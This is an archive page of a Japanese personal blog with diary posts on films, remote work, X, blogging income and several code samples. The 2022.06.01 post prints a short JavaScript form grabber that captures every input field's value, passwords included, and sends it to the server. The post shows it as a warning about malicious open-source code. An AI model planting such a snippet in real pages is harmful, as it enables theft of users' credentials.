アウトプット

2024.04.14

Logging

おはようございます、自分のX(旧Twitter)アカウント@taoka_toshiakiでは大体、早朝にIT記事などをアウトプットしていました.いままで、毎日のようにアウトプットしてきていたのを4日間、停止してみました.

アウトプットする方が頭に定着する?それとも何もしないで記事を読む.さてどちらの方が頭に少しでも定着するのかと思ったのがきっかけでした.結果はアウトプットした方が良いと論者が言われている通り何もしないより頭の片隅に残る率は高い気がします.

person taking white paper from folder
Photo by Anete Lusina on Pexels.com

一番は記事を読み、自分なりに何かにまとめるという行為を行い、プラスその記事をシェアするという事を行えばもっと頭に定着するようです.頭に定着させるには泥臭いようですが反復して頭に叩きこむ作業が必要らしいです.

自分もソフト老害とか言われる年になってきました、老化していく脳を活性化させるには日々新鮮な情報を仕入れるという事が大事になってくるのかもしれませんね.

明日へ続く.

タグ

IT記事, Photo by Anete Lusina on Pexels.com, X, アカウント@taoka_toshiaki, きっかけ, ソフト老害, 作業, , 日々, 旧Twitter, 早朝, 活性化, 片隅, , 結果, , 行為, 論者, 通り, ,

フルリモートでは隙間時間が

2024.01.28

Logging

おはようございます、フルリモートでは隙間時間が生まれます。皆さんはその時間をどのように使用しているのでしょうか?、自分が勤めている会社では自主学習しても良いよって話なので学習に当てていますが、皆さんはどのような事をしているのか気になります。

今のところ自宅でリモートしか経験がないのですが、よくXのタイムラインなどを見ると喫茶やコワーキングスペースを使用してリモートのお仕事をしている人を見かけます。高知県にもコワーキングカフェがあるのですが一度も使用したことがないです。

引用元:https://cafe.caminova.com/

自分が知っている高知県のコワーキングカフェは次の通りです、カフェノバKSB(高知スタートアップベース)です、その他にもあると思いますが自分は知りません。普通にカフェを使用してリモートワークされている方もいらっしゃるようです。自分もたまには環境を変えてお仕事をしてみたいなと思います。

明日へ続く。

タグ

KSB, X, カフェ, カフェノバ, コワーキングカフェ, コワーキングスペース, その他, タイムライン, フルリモート, リモート, 喫茶, 学習, 引用元, 皆さん, 経験, 自主, 通り, 隙間時間, 高知スタートアップベース, 高知県,

映画、ナポレオンを観てきましたので。

2023.12.02

Logging

おはようございます、昨日の夜に映画、ナポレオンを観てきましたので感想を残しときます。首よりは良かった感じですが、ちょっとRポッいなって感じの映画だということは間違いないので、Rはちょっと言う方は注意が必要です。そして深夜つぶやいた通り微妙な感じでした。

観終わってなんかなんだろうか、歴史と戦いの愚かさを学びましたがそれ以上のものは何もないですね。感動などからかなり離れた作品です、ナポレオンが生きていた頃からもう百年以上経ちますが、未だに地球上から戦争が無くならないのはなんだろうか?という人の愚かさを感じ取った作品でした。

【今世紀最大級のスペクタクル超大作!】映画『ナポレオン』12月1日(金)全国の映画館にて公開!<予告4>

英雄でも悪魔でもなく人の愚かさを描いた作品だと・・・。

明日へ続く。

タグ

-r, Rポッいなって感じ, かなり, ナポレオン, , 作品, , 悪魔, 感動, 感想, 戦い, 戦争, 映画, 未だに地球上, 歴史, 注意, 深夜, 英雄, 通り, ,

X.comを使用している理由はない😂

2023.09.08

Logging

おはようございます、なぜ、ポストしているのだろうかとふと思ったことがあったので記事にしてみました。簡潔に言えば理由なんて無いです。イーロン・マスクに買収されるまえ、そうTwitterというサービスがアメリカで誕生しそれが日本でも出来るようになり、その頃にはじめてTwitterを使用するようになったのです。最初は何を呟いたら良いのかすら分からなかったし、当時はTwitterの民度も低い感じでした。今よりも無法地帯の感じがします。

昔のインターネットって今よりも無法地帯の感じがします。いまは無法地帯がダークネットというものの中に消えていったのかもしれませんが、昔のインターネットは色々なものが混ざっていた感じがします。さて話を戻して使用するようになってから、何度かTwitterのアカウントを消しています。何だか分からない理由で凍結になった事もあります。アカウントが使えなくなるのは悲しい気持ちになりますね、あれは全否定に近い感覚になると思います。

そんな何度かアカウントを消して、いまのアカウントになり長いです。先程も書いた通り、ポストをしている理由はないですね。強いて言えば共有したいものをポストする場合もありますが。大体、自分の記録を残すためにしています、それはブログも同じです。

記録を残すことが日課になりもう自然に体に染み付いている感じです、なので理由はないです。

タグ

Twitter, アカウント, アメリカ, イーロン, インターネット, ダークネット, マスク, 何度かTwitter, 先程, 全否定, 凍結, 悲しい気持ち, 日課, , 最初, 民度, 無法地帯, 記録, 近い感覚, 通り,

NativePHPというフレームワークでWindowsアプリが

2023.08.23

Logging

おはようございます、NativePHPというフレームワークでWindowsアプリが作れるそうです。そうPHP言語でアプリが作れるということは、簡単に言えばElectronと似たことが出来るということです。凄いですよね、今まで有りそうでなかった、、、。いまNativePHPはアルファ版なので品質保証はしてくれないものの正式にリリースしたら一度、フレームワークに触れてみたいなって思っています。

因みにこの頃、Electronも触っていないのですが、バージョンアップして透過機能(アクリル)なども追加されたそうですよ。

話それますが、この頃まともにソースコードをオープンにしていないのには理由があります。ソースコードの公開の線引しているからです。ちょっとした物は今まで通り公開しますがあまりにも商業利用可能なものは公開を控えます、なのでちょっとした物しかこれからも出てこないと思います。

タグ

Electron, NativePHP, PHP言語, Windowsアプリ, アクリル, アプリ, アルファ版, ソースコード, バージョン, フレームワーク, リリース, 一度, 公開, 品質保証, 商業利用, , 理由, , 透過機能, 通り,

クラウドワークスの崩壊前夜。

2023.07.25

Logging

おはようございます、この頃、クラウドワークスでお小遣い稼ぎをしたいなって思いWeb系のクラウドワークスを覗いてみたら、一つの案件に数十件もの応募者が来ている状態になっていたので、もうクラウドワークスは崩壊だなって感じました。何故こんなにもクラウドワークスに応募者が増加したのかと言えば生成AIを使用して何とかなるだろうという考えのもと応募している人が増えたとのだろうと。

people sitting on green grass field
Photo by Chris J Mitchell on Pexels.com

Web系の応募者が増加しているけど、ソフトウェアやアプリ系の応募者は今のところ以前と変わりない応募者になっている事でも分かる通り、生成AIはアプリ開発などとはあまり相性が良くない、逆にWeb系とは生成AIは相性が良い、でもこれも表面上の話で生成AIで複雑怪奇なものやフレームワークを駆使したサイトを改修するには全然駄目なのが現状にも関わらず、生成AIで何とかなるだろうと応募する応募者が増加していると自分は増加傾向から推測したのだけど、実際はどうなのかは明確には分からない。

"AIが仕事を奪う"はあり得ない?成田修造氏がツイート「AI議論不要」の真意は|アベヒル

こんなにも応募者が増加しているとマッチングが成立しない事が増えそうだ、恐らくクラウドワークス側も何らかの対策を取るためのシステムを開発していると思います。それを開発できないと恐らくクラウドワークスは崩壊すると思っています。

タグ

Photo by Chris J Mitchell on Pexels.com, Web系, アプリ開発, クラウドワークス, クラウドワークス側, この頃, システム, ソフトウェア, フレームワーク, マッチング, もと応募, 増加傾向, 対策, 崩壊, 案件, 現状, 生成AI, 相性, 表面上, 通り,

映画、インディ・ジョーンズと運命のダイヤルを観ましたよ。

2023.07.01

Logging

おはようございます、先日、インディ・ジョーンズと運命のダイヤルを観てきましたので感想を残しておきます。

インディ・ジョーンズと運命のダイヤルの予備知識は全く持たずに行ったのですが、とても良かったですね。因みに予備知識は持ち合わせていないけど過去の作品は全て観ています、それを踏まえての感想です。TOHOシネマでは今日(7/1)、土曜日は月に一回のシネマデーなので1300円で映画が観れるます、自分は金曜日(昨日)の夜に映画を観に行きました。

「インディ・ジョーンズと運命のダイヤル」本予告編【インディが人生をかけて探し求めた秘宝“運命のダイヤル”とは…】6月30日 全世界同時公開!

インディ・ジョーンズシリーズが好きな人には今回の作品は、とても良い作品になっていることは予告からも分かる通り良い出来になっています。予告以上の物が劇場では見えると思って間違いありません、是非、劇場でこの作品を楽しんでください。

最後の最後まで良いので、是非最後の最後までインディージョーンズの世界に浸ってください🗿。

タグ

TOHOシネマ, インディ・ジョーンズ, インディ・ジョーンズシリーズ, インディージョーンズ, シネマデー, ダイヤル, 予備知識, 予告, 予告以上, 作品, 劇場, 土曜日, , 感想, 映画, 最後, 通り, 運命, 過去, 金曜日,

アクセス数と収益は必ずしも比例しない。ミスマッチな○×。

2022.07.08

Logging

おはようございます、今日は週末ですね?、来週の今頃は今の会社を退社している。

さて、タイトルにも記載した通りアクセス数と収益は必ずしも比例関係にありません。そういうことなので自分のブログはそれなりに収益化出来ています。収益が出ているのがブログなのか無料ツールなのかは調べてないので分かりませんが、比例しないことは分かっています。

この頃のアクセス数は横ばい傾向にあるのですが、マッチしている広告が表示されているためかトントンな収益は出ています。もう少しこのブログで稼ぐことが出来れば良いのですが、その為にはそれなりにある分野に特化したブログを制作しないといけないのではないかと思っています。

例えば映画だったりプログラミングだったりと一つの分野に特化したブログになればもっとユーザー数を伸ばせると思います。来週の退社を基に専門分野やあるものに特化したブログを立ち上げます。そのうちどれかが成功したらそれに対して投資していくつもりです。

ちなみにこのブログは今のところ、継続して書いていきます。来週末からいろいろと忙しくなってきます大変💦。

※このブログも来週末を最後に予約投稿を止めます。更新時間帯は変えませんが一週間分の記事を予約投稿するなどは止めます。その方がもっと質の良い記事を書けるじゃないかと思っているからです(この頃、駄目記事が多い気がします)。

タグ

○×, アクセス, いくつ, うち, こと, それ, それなり, タイトル, ため, ツール, どれか, ブログ, プログラミング, マッチ, ミスマッチ, もの, ユーザー, 一つ, , 今日, 今頃, 会社, 傾向, 分野, 制作, 収益, , 専門, 広告, 成功, 投資, 映画, 来週, 横ばい, 比例, , 無料, 特化, 自分, 表示, 記載, 退社, 通り, 週末, 関係, ,

悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

タグ

6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, , 今回, 今日, 信頼性, 公式, 公開, , 動画, 実装, 必要, 悪意, 次第, , 注意, 無料, 確認, 自ら, 通り, 配布, ,

よもやよもやだ、アンリアルエンジン、凄いわ。これ!

2022.05.23

Logging

おはようございます。月曜日の朝は鬱っぽい…。

前にも少し書いたことがあるかも知れませんがアンリアルエンジンが凄いことになっています。アンリアルエンジンが何者か分からない人のために説明すると、ゲームの背景など基礎部分=土台が作れるツールになります。これを使用することにより簡単に言えば開発コストが軽減します。

Ninety Days in Unreal Engine 5

動画を見ていただければ分かる通り現実に近い映像です。数十年前は2Dだったものが数十年後の時を経てリアルな3D空間が作れるようになりました。技術革新って凄いなって改めて思います。

因みに今の子供達は自分で物語や創造的な物が作れる能力があれば良いのではないかなって思っています。何故なら今の子供達が大人になる頃には粘土細工で物を作ると同じような感覚でリアリティな空間などがデジタルに生成できるようになってしまう、そんな世の中になると思っているのでIT技術力なんか要らないものになるのかもしれないなって・・・。

いやー本当に日進月歩だな。

タグ

2, , IT, アン, エンジン, ゲーム, コスト, こと, これ, ため, ツール, デジタル, もの, リアリティ, リアル, , , , , 何者, 使用, 動画, 土台, 基礎, 大人, 子供, 少し, 感覚, 技術力, 技術革新, 数十, 映像, , 月曜日, , , 物語, 現実, 生成, 空間, 簡単, 粘土細工, 背景, 能力, 自分, 説明, 軽減, 通り, 部分, 開発, , ,

ガリレオ好きですので、今から楽しみです😌

2022.05.05

Logging

おはようございます😌。

今日はこどもの日ですね。さて先日Tweetした通りガリレオ再始動されます。第一弾として「沈黙のパレード」が9月16日に上映されます、今からガリレオシリーズ好きにとっては楽しみです。

【ガリレオ再始動】『沈黙のパレード』特報【9月16日(金)公開】

公式サイトも出来ていているので気になる方は覗いてみてはどうでしょうか?因みにこの映画、東野圭吾氏の小説が基になっています。映画事態は個性的なキャラクターによって成り立っているので安定感のある映画になっています。なので、映画のパターンが好きになれない方と好きになれる方とで観終わった後の印象はかなり違うと思います。

タグ

16, , Tweet, かなり, ガリレオ, キャラクター, こどもの日, サイト, シリーズ, パターン, パレード, , 上映, 事態, , 今日, 先日, 公式, 印象, , 始動, 安定感, 小説, , , 映画, 東野圭吾, 楽しみ, , 沈黙, 通り,

皆んな才能あるは嘘、才能ない奴はない。そうだと思う。それよりか?

2021.12.27

Logging

「皆んな才能あるは嘘、才能ない奴はない。」と北野武さんは話しています。それよりかどう生きるかとかいうのが大切だと動画を見て思いました。自分の仕事の幕引きについて「ここまでかな」とか「これで幕引きかな」って大体、分かるもので他人に言われなくても本人が決めることの方が正しいかなと自分は思っています。北野武さんはお客さんがいなくなった時点で引退と言っていますが、漫才を辞めたのも自分で決めて辞めている。「ここまでかな」って周囲が決めなくてもなんか分かるものです。

https://www.youtube.com/watch?v=Kc8Ylq_l9no

漫才を辞めて次は何しようかなと考えれる人が運に乗れると思います、必死にしがみついてもあまり良いことはないですね?。横に流れていく方が賢明かなって思えるです「死守せよ、だが軽やかに手放せ」って言葉がある通り自分が納得するまで試して「あぁもう良いかな」って思えたら「すっ」って手放したほうが良いですよ。

仕事が全てではないとも言える。好きな仕事で生きていけるのはとても幸せなことだけど、決してそうしないといけない訳でもない。生きる糧として仕事をしてもよいわけです。今はいろいろな情報がありふれている社会です、好きな事で生きていけという言葉がインターネットではありふれているけど、もしそういう考えただったら、その考え方は変えたほうが良いと思います。何故なら心が満たされることはないからです。欲が欲を生む状態に陥るので、そういう考え方は変えたほうが良いと思います。

トイウコトを綴りながら年末最後の記事や年始の記事はどうしようかななどと考えています。

タグ

お客さん, かな, ここ, こと, これ, それ, もの, , , 仕事, 他人, 全て, 動画, 北野武, 周囲, , 大体, 大切, , 幕引き, 引退, 必死, 才能, , 時点, 本人, , , 死守, 漫才, , 納得, 自分, 言葉, 通り, ,

WebAPIの作り方、考え方です?。サンプルコードもありますよ。

2021.12.24

Logging

昨日から風邪を引いてしまいました…。今日も体調が優れない状態ですが、昨日よりはマシになっています、因みに風邪というよりも腸と胃に菌がはいってしまって、それによる発熱です?。

さて、今回はPHP言語でWebAPIの作りましたので、ご報告致します、どんなAPIかというと生年月日とカウントしたい歳をPOSTすると、現在の年齢、今まで生きてきた日数、カウント日数がレスポンス(返却)されます。

【JavaScript入門 #8】WebAPIを叩いてみよう!async await構文を使うと簡単!【ヤフー出身エンジニアの入門プログラミング講座】

PHPコードは下記の通りになります。適当に作ったので間違っている箇所があるかもしれませんが、そこはご愛嬌でお願いできますでしょうか?、また、WebAPIの叩き方はご自身でお考えくださいませ。
サーバーに負荷が増したらWEBAPIは閉じます。

尚、WEBAPIのURLはこちらになります。

https://zip358.com/api/age/v1/type1/

<?php
header('Access-Control-Allow-Origin: *');
date_default_timezone_set('Asia/Tokyo');
$birth_date = (string)$_POST["birth_date"];
$max_age = (int)$_POST["point_age"];

/**
 * @param string $birth_date
 * @return string|false
 */
function check1($birth_date = ""): bool
{
    $flg = false;
    $str_date = explode("/", $birth_date);
    if (count($str_date) === 3) {
        $flg = true;
        if (!((int)$str_date[0] >= 1000)) {
            $flg = false;
        }
        if(((int)$str_date[0] > (int)date("Y"))){
            $flg = false;
        }
        if (!((int)$str_date[1] >= 1 && (int)$str_date[1] <= 12)) {
            $flg = false;
        }
        if ($flg) {
            if ((int)$str_date[1] === 2) {
                if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 28)) {
                    $flg = false;
                }
                if ((int)$str_date[0] % 4 === 0) {
                    $flg = true;
                    if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 29)) {
                        $flg = false;
                    }
                    if ((int)$str_date[0] % 100 === 0) {
                        $flg = true;
                        if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 28)) {
                            $flg = false;
                        }
                        if ((int)$str_date[0] % 400 === 0) {
                            $flg = true;
                            if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 29)) {
                                $flg = false;
                            }
                        }
                    }
                }
            } else {
                $last_day = [4, 6, 9, 11];
                if (array_search((int)$str_date[1], $last_day, false)!== false) {
                    if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 30)) {
                        $flg = false;
                    }
                } else {
                    if (!((int)$str_date[2] >= 1 && (int)$str_date[2] <= 31)) {
                        $flg = false;
                    }
                }
            }
        }
    }
    return $flg;
}

/**
 * @param int $age
 * @return string|false
 */
function check2($age = 0): bool
{
    $flg = true;
    if ($age < 0) {
        $flg = false;
    }
    return $flg;
}


/**
 * @param string $birth_date
 * @param string $maxage
 * @return string $reslut
 */
function sumup($birth_date, $maxage)
{
    $reslut = [];
    $birth_date_array = explode("/", $birth_date);
    $birth_date = sprintf("%04d%02d%02d", $birth_date_array[0], $birth_date_array[1], $birth_date_array[2]);
    $today = date('Ymd');
    $age = floor(($today - $birth_date) / 10000);
    $day1 = new DateTime("{$birth_date_array[0]}-{$birth_date_array[1]}-{$birth_date_array[2]}");
    $day2 = new DateTime();    
    $interval1 = $day1->diff($day2, true);
    $baseday =  (int)($interval1->format('%a'));
    if ((int)$maxage <= (int)$age) {
        $pointday = 0;
    } else {
        $maxage--;
        $day3 = new DateTime((date('Y') + ($maxage - $age)) . "-{$birth_date_array[1]}-{$birth_date_array[2]}");
        $interval2 = $day2->diff($day3, true);
        $pointday = (int)($interval2->format('%a'))+1;
    }


    $reslut = [
        [
            "result" => "success",
            "age"=>$age ."歳",
            "baseday" => $baseday . "日(生きてきた日数)",
            "pointday" => $pointday . "日(" .($maxage +1). "歳まであと)"
        ]
    ];
    return json_encode($reslut);
}

if (!check1($birth_date)) {
    print json_encode([
        [
            "result" => "error",
            "error" => "string is invalid1"
        ]
    ]);
} elseif (!check2($max_age)) {
    print json_encode([
        [
            "result" => "error",
            "error" => "string is invalid2"
        ]
    ]);
} else {
    print sumup($birth_date, $max_age);
}

タグ

39, Access-Control-Allow-Origin, API, header, lt, php, POST, url, WebApi, お願い, カウント, コード, こちら, ご報告, ご愛嬌, ご自身, サーバー, サンプル, そこ, それ, まし, レスポンス, 下記, 今回, 今日, 体調, 作り方, 叩き, 年齢, 日数, 昨日, , 状態, 現在, 生年月日, 発熱, 箇所, 考え方, , , , 言語, 負荷, 返却, 通り, 適当, 風邪,

Kotlin言語をはじめて使用してアプリを作ろうとしています。

2021.11.09

Logging

Kotlin言語をはじめて使用してアプリを作ろうとしていますが、こちらでアプリのお披露目をする事は考えていません。自分の本名のドメインで紹介することになると思います。一度、桁読み漢字変換はfulluter言語で作ったことがあるのですが、リリースはしていません。今回は作ってリリースまで行いたいと思っています。それ程、難しいことはないと思っているので、リリースは数週間で出来ると思います(審査も含めて)。

kotlin言語をはじめて使用してアプリを作ろうとしています。

何故、Kotlin言語でアプリを開発しようと思ったか?、簡単に言えばiosにも移植出来るとのことなのでKotlin言語を選びました、そしてそれなりに勉強になるかなぁと思ったからです。動画を見てもらえれば分かる通り、いきなり動的な処理で制御しています。たぶん、いろいろな事を飛ばして勉強しています。参考書も持っていないのでサイトとYOUTUBEで調べつつ理解していこうと今、奮闘中です。今回書いた、ソースコードも調べたものです。

package com.example

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.text.Editable
import android.widget.EditText
import  android.text.TextWatcher
import android.util.Log
import android.widget.TextView

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        var editText = findViewById<EditText>(R.id.editTextTextN1)
        var textview = findViewById<TextView>(R.id.textView)
        editText.addTextChangedListener(object : TextWatcher {
            override fun beforeTextChanged(s: CharSequence?, start: Int, count: Int, after: Int) {

            }

            override fun afterTextChanged(s: Editable?) {

            }

            override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {
                Log.d("テキストが入力されました","$s")
                textview.text = s.toString()
            }
        }
        )
    }
}

タグ

fulluter, iOS, Kotlin, youtube, アプリ, いろいろ, お披露目, コード, こちら, こと, サイト, ソース, ドメイン, リリース, 一度, , , 今回, 何故, 使用, 処理, 制御, 勉強, 動画, 参考書, 変換, 奮闘, 審査, , 本名, , 漢字, 理解, 移植, 簡単, 紹介, 自分, 言語, 調べ, 通り, 開発,

らくてんのアフィリエイトを記事の下に取り付けるプラグインを作りました。

2021.11.02

Logging

らくてんの アフィリエイト を記事の下に取り付けるプラグインを作りました。Composerを使用して楽天のSDKを取ってきているので、そちらをプラグインの中にインストールする必要と アフィリエイト のAPIIDなども必要になりますのでそちらも御自身で構える必要がありますが、それ程難しいことはないプログラムコードだと思います。

あとCSSなどもご自身が使用するサイトのデザインに合わしてご使用ください。今回、WordPressのプラグインですがソースコードを見たいだければ分かる通り、AmzのSDKも取り入れようかなとか思ったのですが、処理が重たくなり表示速度が下がりそうだったので辞めました。因みにAmzのSDKはComposerに公開していないようです。公式サイトからzipでダウンロードするか、githubから入手する方法しかないようですね。

仕様として、タグのワードから商品を検索し表示する方法とショートカットを使用して商品を表示させる方法があります。例えばRakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”このようにショートコード書くと下記のように表示されます。また記事の最後に自動で紹介商品も表示されます。

追記:リクエストが多くなるとバグるみたいな‥‥。いまいち下記が表示されていない原因がわからない

追記:記事の最後に自動で紹介する機能は、このサイトでは一旦停止しています。

[Rakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”]

トイウコトデ、WordPressのソースコードになります。

<?php
/*
Plugin Name: Rakuten_Seller
Plugin URI: https://zip358.com/
Description: 楽天アフィリエイトを表示
Author: @zip358com
Version: 0.1
Author URI: https://zip358.com/
*/
require_once plugin_dir_path( __FILE__ ).'/vendor/autoload.php';
define("RAKUTEN_YOUR_APPLICATION_ID","xxxxxxxxxxxxxxx");
define("RAKUTEN_YOUR_AFFILIATE_ID","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

define("AMAZON_YOUR_ACCESS_KEY_ID","");
define("AMAZON_YOUR_SECRET_KEY","");
define("AMAZON_YOUR_ENDPOINT","");
define("AMAZON_YOUR_URL","");


function Rakuten_Seller_content_plus($content) {
    if(is_single()) {
       $content.='[Rakuten_Seller_param type="auto"]';
    }
    return $content;
}

function Rakuten_Seller($params = array()){
     $htmlcode = "";
    extract(shortcode_atts(array(
        'type'=>'',
        'word'=>''
    ), $params));
    $client = new RakutenRws_Client();
    // アプリID (デベロッパーID) をセットします
    $client->setApplicationId(RAKUTEN_YOUR_APPLICATION_ID);
     
    // アフィリエイトID をセットします(任意)
    $client->setAffiliateId(RAKUTEN_YOUR_AFFILIATE_ID);

    if($type==="auto"){
        $tags = get_the_tags();
        $htmlcode.= "<div class='rakuten_seller_div'>";
        foreach( $tags as $tag) { 
            $htmlcode.= Rakuten_code($client,$tag->name);
        }        
        $htmlcode.= "</div>";
        
    }elseif($type==="search"){
        $htmlcode.= "<div class='rakuten_seller_div'>";
        $htmlcode.= Rakuten_code($client,$word);
        $htmlcode.= "</div>";
    }

    return $htmlcode;
 }

function Rakuten_code($client,$word="JavaScript"){
    $htmlcode = "";
   
    // IchibaItem/Search API から、keyword=$word を検索します
    $response = $client->execute('IchibaItemSearch', array(
      'keyword' => $word,
      'genreInformationFlag' => 1
    ));
    // レスポンスが正しいかを isOk() で確認することができます
    $cnt = 0;
    if ($response->isOk()) {
        foreach ($response as $item) {
           $htmlcode.= "<div class='rakuten_seller_item'>".
           "<img src='".$item["mediumImageUrls"][0]["imageUrl"]."'>".
           "<p>".$item["itemName"]."</p>".
           "<a class='rakuten_btn' href='".$item["affiliateUrl"] . "' title='".$item["itemName"]."'><span>楽天で購入"."</span></a></div>";
           $htmlcode.= amazon_code($item["isbn"],$item["jan"]);
           if($cnt>0){
                break;
           }
           $cnt++;
        }

    } else {
        //echo 'Error:'.$response->getMessage();
    }
    return $htmlcode;
}

function amazon_code($isbn="",$jan=""){
    $htmlcode = "";

    return $htmlcode;
}


add_shortcode('Rakuten_Seller_param', 'Rakuten_Seller');
add_filter('the_content', 'Rakuten_Seller_content_plus');

タグ

Amz, APIID, Composer, css, github, SDK, WordPress, zip, あと, アフィリエイト, インストール, コード, こと, ご自身, サイト, ショート, ソース, そちら, ダウンロード, タグ, デザイン, プラグイン, プログラム, らくてん, ワード, , , 今回, 仕様, 使用, 入手, 公式, 公開, 処理, 商品, 必要, 方法, 検索, 楽天, 自身, 表示, 記事, 通り, 速度,

ブログの形を少し変えようかなとか思いつつも今まで通りか?。

2021.11.01

Logging

ブログの形を少し変えようかなとか思いつつも今まで通りの近況スタイルで記事を書いていきます。もうこのブログ、書き出してから7年ぐらい経過していますね。書き出した当初は若気の至りみたいな文章だといま読み返すと思います。黒の歴史みたいで消し去りたいなと何度も思ったのですが、このサイトのブログだけは最後の最後まで残しておこうと決めています。もう七年間も続けているとなると自分が生きた証みたいなブログですよね。

因みに自分はこれ以外にもブログを書いているサイトはありますが、更新頻度はこのブログが断トツに多いです、自分がブログを書き出したのは、20代の前半ぐらいからです、その時に絵日記ブログを書いていてまぁまぁなアクセス数と某アニメスタジオ社からの訪問があったりして、ある意味、ブログを書いていて面白かった時期であり、身バレしないかと冷や冷やしながら書いていた時期でした。

今思えば、身バレしてもブログを書き続けていたら本ぐらい出版できたかもしれません、今となっては夢物語です。

それぐらいWEBで何か活動する人が増えてワンチャン狙うのが大変な時代です。昔が戦国時代なら、いまは徳川が治めている時代だと思ったほうが良いです。まだ、YOUTUBEの方がワンチャンあると思いますがそれでも厳しい。先行優位なのは別にWEBだけではない話ですが、今からブログをはじめてもワンチャンはないと思います。

noteなどで稼ぐ方法はあるとは思いますが、精々稼げて5万円ぐらいじゃないでしょうか、それ以上は厳しそう。noteにこのブログを移行しようと考えたこともありますが、WPからNoteへのデータ移行は面倒くさいので諦めました。なのでこのブログでこれからも書いていきます。

この頃、なんの記事を書いたら良いのかと悩むときがあります。機械学習などの記事を書くとあまりアクセスは取れないし、初心者向のプログラムコードを書いたりしたいなとは思うものの。いつの間にか、自分自身に初心者の気持ちが抜けていて、直ぐに問題解決してしまうのでどこで躓いたのかがわからない。書かないJSみたいなコードを書いていたら、たまに躓くこともあるけどそれでも初心者向とは言いにくいですね。

いま自分が興味を持っているのはデイトレードですが、まだまだ分かっていないことの方が多いのでブログで書くには未だかなと思います。まずはシュミレーションで試して自分にあっているかどうか判断してあっていたら確定申告が終わったあとぐらいから始めたいと思ってはいます。

タグ

20, 7, アクセス, アニメ, いま, これ, サイト, スタイル, スタジオ, バレ, ブログ, , , 何度, 出版, 前半, 少し, 当初, , 意味, 文章, 断トツ, , 時期, 更新, 最後, , 歴史, 経過, 絵日記, 自分, 若気, 記事, 訪問, , , 近況, 通り, 頻度, ,

老後の年金支給額見たら・・・老後が無理ゲーだと思った。早く働かないと貧困層に落ちそうな予感さえ。

2021.08.31

Logging

ジェニーハイの夏嵐という曲が好きで何度も聞いていたら、やっぱり飽きてしまいました。音楽って消費するという感覚がありますよね。どんな良い曲でも毎回聞いていると飽きます。逆に飽きのこない曲を作るとロングヒットしそうですね。

ジェニーハイ「夏嵐」

氷河期世代で自分みたいな環境にいるひとも中にはいると思いますが、先日ツイートした通り、現在の歳で国民年金を払うのをストップすると自分は65歳に貰える年金は3万8千円ということになります・・・?。年金って確か偶数月に2ヶ月分を貰えるようになっているらしいけど、二ヶ月分を足しても一か月分の生活費も捻出できないような気がします。もし65歳までに大地震でも起きたら、老後悲惨な事になりかねない気がしました。

タグ

こない曲, ジェニーハイ, , ひと, ロングヒット, 何度, 偶数月, 国民年金, 夏嵐, 大地震, 年金, 感覚, , , 氷河期世代, 環境, 生活費, 老後, 良い曲, 通り,

何かを成し遂げたいならガッツ、ガッツがないと逆に成し遂げれない。

2021.08.24

Logging

タイトルに有るように加藤崇さんはグーグルに会社を売却した初めての日本人で、現在はAIを使用して水道管の検査を行う事業(水道管を掘り返すことなく劣化具合がAI[人工知能]で分かるそう)に携わっている人です。

Dooo「グーグルに会社を売った日本人が語る“クレイジーな人たちが世界を変える”」加藤崇さん(前編)

何かを成し遂げたいならガッツ、ガッツがないと逆に成し遂げれないと「グーグルに会社を売った日本人が語る“クレイジーな人たちが世界を変える”」言う動画を見て思いました。必死に勉強ということが大前提にないと何かを成し遂げれない、その必死になにかに打ち込むには、その事に対して情熱がないとできないという事を理解しました。

Dooo「グーグルに会社を売った日本人が語る“クレイジーな人たちが世界を変える”」加藤崇さん(後編)

加藤 崇(かとう たかし)さんが話されている通り、日本社会は未だに縦社会なんだなぁということを実感。それはどんな企業でもそんな感じなのかなぁという。縦社会文化が変わるにはかなり時間がかかるような気がしますが、それでも情熱を持って何かを成し遂げる事により少しずつ 少しずつと認め合う社会になるかと思います。

自分としては必死に学ぶという事の大事さという事が印象に残りました。

タグ

AI, がっつ, かとう, かなり, グーグル, クレイジー, こと, それ, タイトル, たかし, 世界, , 事業, , 人工, 企業, 会社, 何か, 使用, 具合, 初めて, 前提, 加藤, 劣化, 勉強, 動画, 売却, 実感, , 必死, 情熱, 感じ, 文化, 日本, 日本人, 時間, 未だ, 検査, , 水道管, 現在, 理解, 知能, 社会, 縦社会, , 通り,

案件9割完成して案件に申し込むみたいな事は非効率だけど。

2021.08.05

Logging

